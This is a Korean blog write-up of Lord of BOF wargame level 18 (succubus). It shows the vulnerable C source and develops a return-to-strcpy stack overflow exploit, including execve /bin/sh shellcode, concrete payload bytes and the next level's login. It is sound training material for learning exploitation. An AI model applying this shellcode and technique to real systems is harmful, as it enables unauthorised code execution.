일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- Buffer Overflow
- 웹해킹
- Spring MVC
- 정보보안기사 실기
- system hacking
- Lord of BOF
- pwnable
- webhacking
- LOB
- Spring Framework
- 해킹
- PWN
- SQL
- 정보보안기사
- hacking
- 정보처리기사 실기
- Spring
- stack overflow
- Shell code
- Operating System
- wargame
- Pwnable.kr
- BOF
- 워게임
- webhacking.kr
- 운영체제
- 네트워크
- System
- Payload
- OS
- Today
- Total
DongDD's IT
[LOB] Level18 succubus 본문
[LOB] Level18 succubus
Problem
이번 문제에서도 nightmare 실행 파일과 nightmare.c 소스 코드 파일이 있었다.
소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dumpcode.h> main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // check address addr = (char *)&strcpy; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with strcpy()\n"); exit(0); } // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // dangerous waterfall memset(buffer+40+8, 'A', 4); } | cs |
먼저 40 bytes 크기의 buffer가 선언되어있었고 char *로 addr이 선언되어있었다.
argv는 2개 이상이어야하고 addr에 strcpy의 주소를 넣는다. strcpy가 실행하기 전이므로 아마 plt가 들어갈 것 같았다. 그리고 memcmp를 통해 입력한 argv[1]의 45~48번째 글자가 이 주소와 일치하는지 확인하고 다르다면 exit()로 종료한다.
45~48은 overflow시 return address로 사용하므로 return address에 strcpy를 넣어줘야하는 것 같았다.
그 후에 strcpy를 통해 argv[1]을 buffer에 복사하고 49~52번째를 "A"로 초기화해준다. 즉, return address를 연달아 쓰는 것을 막는 것 같았다.
Solution
처음에는 strcpy의 plt를 넣고 여러 가지 시도를 해보았지만 모두 실패했다. 0x41414141에서 error가 떴었다. 그 후에 생각을 바꾸어 strcpy로 return 하는 것을 활용해 풀었다.
1. strcpy를 통한 주소 복사
먼저 stack에는 위와 같이 쌓여있을 것이다. return address에 strcpy를 넣어 if문을 통과해줘야 하고 그 후에 입력한 4 bytes는 memset()에 의해 모두 "AAAA"로 초기화될 것이다. 처음에 문제를 풀 때는 strcpy를 통해 0x41414141에 값을 넣어줄 수 있나 시도해보았지만 실패했다. 그 후에 0x41414141을 쓰는 것이 아닌 "AAAA"가 들어가 있는 곳의 값을 바꿔주면 될 것 같다는 생각이 들어 시도해보았다.
strcpy("AAAA"의 주소, 환경 변수 "a"의 주소) 를 활용하면 될 것 같다는 생각이 들었다.
먼저 gdb를 통해 main을 확인해 strcpy의 plt주소를 확인했다. 그 후에 환경 변수를 사용하기 위해 "a"라는 환경 변수에 NOP+shell code를 넣어주었고 getenv()를 사용하는 프로그램을 작성해 환경 변수 "a"의 주소를 알아왔다.
strcpy의 plt : 0x8048410
환경 변수 "a"의 주소 : 0xbffffee2
사용한 shell code(24 bytes) : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
Payload = dummy(44 bytes, buffer+sfp, "A"*44) + return address1(4 bytes, strcpy@plt, 0x8048410) + return address2(4 bytes, "A"*4) + strcpy arg1(4 bytes, return address2의 주소) + strcpy arg2(4 bytes, 환경변수 "a"의 주소)
gdb로 위치를 찾는 것보다 core로 찾는 것이 나을 것 같아 core파일을 생성시켜 "AAAA"로 초기화되는 부분의 주소를 알아보았다.
"AAAA" 초기화되는 주소 : 0xbffffa80
위 payload에서 arg1의 값만 바꾸어 시도해보았더니 segmentation fault가 떠서 core파일을 다시 확인해보았다. 그랬더니 arg2에 넣었던 환경 변수의 주소가 들어가는 것이 아닌 환경 변수에 들어있는 값들이 들어가 메모리에 NOP+shell code가 저장되어 0x90909090으로 return하게 되는 것을 볼 수 있었다.
strcpy는 인자가 포인터형이라 그런 것 같았다. 그래서 비슷한 방법을 생각했다.
그래서 환경 변수를 하나 더 생성해 환경 변수에 shell code가 들어간 환경 변수의 주소를 넣어놓으면 될 것 같았다.
먼저 환경 변수 "b"를 4 bytes로 생성해놓고 주소를 확인해보았다.
그 후 shell code가 들어간 환경 변수 "a"의 주소를 환경 변수 "b"에 넣어주었다.
환경 변수 "a"의 주소 : 0xbffffedb
환경 변수 "a"의 주소를 가지는 환경 변수 "b"의 주소 : 0xbfffff4d
Payload = dummy(44 bytes, buffer+sfp, "A"*44) + return address1(4 bytes, strcpy@plt, 0x8048410) + return address2(4 bytes, "A"*4) + strcpy arg1(4 bytes, return address2의 주소) + strcpy arg2(4 bytes, 환경변수 "b"의 주소, 0xbfffff4d)
환경 변수가 추가되어 메모리가 바뀌었을 것 같아 core파일을 생성해 확인하기 위해 임의의 값을 넣어 확인해보았다.
"AAAA"가 들어가는 위치가 0xbffffa70으로 바뀐 것을 볼 수 있었고 payload에 이 값을 넣어 시도해보니 shell을 얻을 수 있었다.
************** Answer & Flag **************
1. strcpy를 통한 주소 복사
Payload = dummy(44 bytes, buffer+sfp, "A"*44) + return address1(4 bytes, strcpy@plt, 0x8048410) + return address2(4 bytes, "A"*4) + strcpy arg1(4 bytes, return address2의 주소, 0xbffffa70) + strcpy arg2(4 bytes, 환경변수 "b"의 주소, 0xbfffff4d)
argv[1] = "A"*44+"\x10\x84\x04\x08" + "AAAA" + "\x70\xfa\xff\xbf" + "\x4d\xff\xff\xbf"
Next ID : nightmare
Next PW : beg for me
'Wargame > LOB' 카테고리의 다른 글
[LOB] Level20 xavius (0) | 2018.02.10 |
---|---|
[LOB] Level19 nightmare (0) | 2018.02.08 |
[LOB] Level17 zombie_assassin (0) | 2018.01.31 |
[LOB] Level16 assassin (0) | 2018.01.31 |
[LOB] Level15 giant (0) | 2018.01.30 |